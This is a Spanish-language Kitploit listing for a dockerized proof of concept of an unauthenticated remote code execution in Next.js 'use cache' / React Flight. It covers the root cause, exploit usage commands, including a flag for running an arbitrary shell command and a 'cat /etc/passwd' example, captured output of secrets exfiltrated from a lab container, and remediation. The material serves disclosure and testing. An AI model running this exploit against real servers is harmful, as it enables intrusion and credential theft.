Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GHSA-673q-mjm6-r5xr — Prueba de concepto dockerizada para GHSA-673q-mjm6-r5xr: una única solicitud no autenticada logra RCE en Next.js use cache / React Flight, con una víctima parcheada para comparación. | Kitploit
Herramientas/GitHubGitHub/rudsarkar/ghsa-673q-mjm6-r5xr
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPapers e InvestigaciónDesarrollo de Payloads
GitHub
Compartir
rudsarkar/ghsa-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr

Prueba de concepto dockerizada para GHSA-673q-mjm6-r5xr: una única solicitud no autenticada logra RCE en Next.js use cache / React Flight, con una víctima parcheada para comparación.

Ver Repositorio
hace 8 díasAún no revisado

GHSA-673q-mjm6-r5xr — PoC de RCE remoto (Next.js use cache / React Flight)

Ejecución remota de código no autenticada en funciones use cache que devuelven arrays tipados Next.js >=16.0.0 <16.4.1 · CVSS v4 9.5 Crítico · CWE-502 (Deserialización de datos no confiables) Causa raíz upstream: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-* < 19.2.9 / 19.1.10 / 19.0.9 / 19.3.1). Corregido en Next.js 16.4.1.

Una prueba de concepto remota completamente funcional y dockerizada: un atacante en la red envía una única petición HTTP no autenticada y ejecuta comandos arbitrarios como root dentro del contenedor víctima. Una víctima parcheada construida a partir de las mismas fuentes es inmune.

 attacker container  ──HTTP POST /profile (crafted body)──▶  victim container (Next.js-style
   (no privileged access)                                     `use cache` Flight boundary)
          ▲                                                           │
          └──────────── GET /proof  ◀── server-side `id`, SECRET.txt exfil ──┘

Esta es una reproducción autocontenida del transporte Flight exacto de React Server Components que Next.js incluye (react-server-dom-webpack), fijado a las versiones vulnerable (19.2.8) y parcheada (19.2.9). Consulte CASE-STUDY.md para el análisis completo de la causa raíz.


TL;DR

make demo         # builds images, starts both victims, pwns the vulnerable one,
                  # then shows the same exploit fail against the patched one

o paso a paso:

docker compose up -d --build victim victim-patched   # :3000 vulnerable, :3001 patched
docker compose run --rm poc                     # RCE vs :3000   -> exit 0
docker compose run --rm poc-patched             # safe   vs :3001 -> exit 1
docker compose run --rm evidence                     # root-cause reproducers, side by side

Requisitos: Docker + Docker Compose. No se necesita acceso a internet en tiempo de ejecución (solo en tiempo de compilación para descargar los paquetes npm fijados).


Lo que verás

Contra la víctima vulnerable ([email protected]):

[+] REMOTE CODE EXECUTION CONFIRMED
    command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
    host    : 648b3c59052e  user: root  pid: 1
    --- command output (executed on the victim) ---
    | uid=0(root) gid=0(root) groups=0(root)
    |
    | === exfiltrated /app/SECRET.txt ===
    | DB_PASSWORD=hunter2
    | API_KEY=sk-live-7f3c9a21b0e4
    | FLAG{GHSA-673q-mjm6-r5xr-rce}
    |
    | Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux

Frente a la víctima parcheada ([email protected]), la solicitud idéntica se decodifica como una tarjeta de perfil inofensiva — los bytes del atacante permanecen dentro de la cadena displayName y nunca se convierten en instrucciones del protocolo:

[-] No code execution observed. Target is PATCHED.
    decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}

El patrón vulnerable

La víctima almacena en caché una "tarjeta de perfil" de usuario con una función use cache al estilo de Next.js. El valor cacheado agrupa dos arrays tipados que son vistas sobre el mismo ArrayBuffer (un avatar y una thumbnail recortados de una misma imagen decodificada — un patrón muy común de "decodificar una vez, recortar regiones") más una cadena controlada por el atacante (el nombre para mostrar de la solicitud):

function getProfileCard(displayName) {
  'use cache'
  const decodedImage = new ArrayBuffer(8192 * 2)         // one decoded image
  const avatar    = new Uint8Array(decodedImage, 0, 8192)      // view 1
  const thumbnail = new Uint8Array(decodedImage, 8192, 8192)   // view 2 — SAME buffer
  return { avatar, thumbnail, displayName }                    // displayName = attacker input
}

Cuando el codificador Flight de React transmite el primer array tipado grande a un ReadableStream de bytes, el ArrayBuffer compartido es desvinculado (semántica de transferencia de WHATWG Streams). El byteLength de la segunda vista se convierte silenciosamente en 0 — después de que su cabecera de chunk ya declarara la longitud original. El decodificador entonces lee en exceso, engullendo el framing del stream y permitiendo que los bytes de displayName del atacante se analicen como filas crudas del protocolo Flight, lo que inyecta una Server Reference elegida por el atacante. React la invoca durante la lectura de caché → RCE. Análisis completo en CASE-STUDY.md.


Estructura

.
├── README.md                 you are here
├── CASE-STUDY.md             full root-cause + exploitation write-up
├── docker-compose.yml        victim (vuln), victim-patched, poc, evidence
├── Makefile                  make demo / up / exploit / evidence / clean
├── victim/
│   ├── Dockerfile            ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│   ├── server.js             faithful Next.js `use cache` encode→store→decode pipeline
│   └── app-modules.js        the server module graph the injected reference resolves against
├── poc/
│   ├── Dockerfile
│   └── exploit.js            remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
    ├── 01-encoder-desync.cjs       header declares N bytes, writes 0
    ├── 02-type-confusion-sink.cjs  thenable whose .then is a server reference
    ├── 03-full-chain-rce.cjs       desync → injection → command execution
    ├── run.sh                      runs all three against vuln AND patched
    ├── sample-run.txt              captured output
    └── upstream-diffs/             the real Next.js 16.4.0 → 16.4.1 patch diffs

Pruebas manuales

El cliente poc se controla mediante flags. Consulte su manual completo:

docker compose run --rm poc -h          # or:  node poc/exploit.js -h
USAGE
  node exploit.js [options]

OPTIONS
  -t, --target <url>     Base URL of the victim           (default: http://localhost:3000)
  -c, --cmd <command>    Shell command to run on the victim
      --timeout <ms>     Per-request timeout in ms         (default: 15000)
      --dry-run          Build and print the payload; do not send anything
  -h, --help             Show this help and exit
      --version          Print version and exit

Ejemplos:

# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'

# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run

# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'

# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile

# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq

Remediación

Actualice Next.js a ≥ 16.4.1 (que incluye el runtime de React Flight corregido). Si depende directamente de react-server-dom-webpack / -turbopack / -parcel, actualice a 19.2.9, 19.1.10, 19.0.9 o 19.3.1. No existe una solución alternativa a nivel de aplicación para una función use cache afectada — la actualización es la única solución.

Uso responsable

Este PoC solo apunta a los dos contenedores desechables que crea. Úselo contra sistemas que posea o para los que tenga autorización explícita de probar.

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    350
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    292

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →